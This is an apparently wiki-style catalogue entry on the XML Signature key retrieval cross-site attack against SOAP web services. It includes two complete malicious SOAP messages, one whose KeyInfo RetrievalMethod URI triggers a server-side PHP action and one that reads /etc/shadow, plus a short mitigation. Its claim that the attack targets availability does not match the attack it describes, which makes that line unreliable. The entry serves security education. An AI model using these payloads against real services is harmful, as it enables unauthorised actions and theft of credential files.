XML Signature - Key Retrieval XSA (Cross Site Attack)

Attack description

When using XML Signature in a SOAP message a public key is always needed by the receiving party in order to verify the signature. In many cases the receiving party already owns the public key of the sender. However in some scenarios the public key has to be retrieved first in order to verify the signature. How key retrieval is done is described in the SOAP security Header within the <KeyInfo> element. Different methods for key retrieval are possible. One method is the use of URIs to reference to a key. Internal references usually pose no problem. However, external reference can be problematic, especially when data referenced to is given back the attacker initiating the request.

Attack subtypes

There are no attack subtypes defined.

Prerequisites for attack

In order for this attack to work the attacker has to have knowledge about the following thinks:

1. Attacker knows endpoint of web service. otherwise he is not able to reach the web service.
2. Attacker knows that the web web service processes the security header and the "signature" element. If the web service doens't "expect" an signed part, it just discards the signature and the attack doesn't work.
3. Attacker can reach endpoint from its location. Access to the attacked web service server is possible for the attacker. This prerequisite is important if the web service is only available to users within a certain network.

Graphic representation of attack

• Red = attacked web service component
  
• Black = location of attacker
  
• Blue = web service component not directly involved in attack.
  

Attack example

Lets assume a web service is run by the company www.mycompany.com/. The server the web service runs on has the right to execute holiday.php. Listing 1 shows a malicious SOAP message with a <RetrievalMethod> element that points to an external URI "URI="www.mycompany.com/holiday.php&action=addholiday&days=6&name=attacker". When this example gets executed the web service server executes the URL resulting in 6 new holiday days. (Modified version of the example taken from [1])

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <ds:Transforms>
              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>
            </ds:Transforms>
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
      <!-- Malicious <Keyinfo> element starts here -->
      <KeyInfo>
         <!-- Attack is included in the line below -->
         <RetrievalMethod Id="r1" URI="www.mycompany.com/holiday.php&action=addholiday&days=6&name=attacker"/>
      </KeyInfo>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 1: Malicious SOAP message

In Listing 2 the web service server retrieves the local file etc/shadow. If the file referenced in the URI is somehow passed back to the caller, the attacker gains valubale information about the web service server.

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <ds:Transforms>
              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>
            </ds:Transforms>
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
      <!-- Malicious <Keyinfo> element starts here -->
      <KeyInfo>
         <!-- Attack is included in the line below -->
         <RetrievalMethod Id="r1" URI="file://etc/shadow"/>
      </KeyInfo>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 2: Malicious SOAP message 2

Attack mitigation / countermeasures

Disallow external references when retrieving keys. However, when required limit the support by creating a white list.

Attack categorisation

Categorisation by violated security objective

The attack aims at exhausting the system resources, therefore it violates the security objective Availability.

• Category:Attack_Categorisation_By_Violated_Security_Objective_OTHER
• Category:Attack_Categorisation_By_Violated_Security_Objective

Categorisation by number of involved parties

• Category:Attack_Categorisation_By_Number_Of_Involved_Parties:1_-_0_-_1
• Category:Attack_Categorisation_By_Number_Of_Involved_Parties

Categorisation by attacked component in web service architecture

• Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_Signature_Verification
• Category:Attack_Categorisation_By_Attacked_Web_Service_Component

Categorisation by attack spreading

• Category:Attack_Categorisation_By_Attack_Spreading
• Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws

References

1. Frederick Hirsch and Pratik Datta. Xml signature best practices. http://www.w3.org/TR/2009/WD-xmldsig-bestpractices-20090226/, 2010. Accessed 01 July 2010.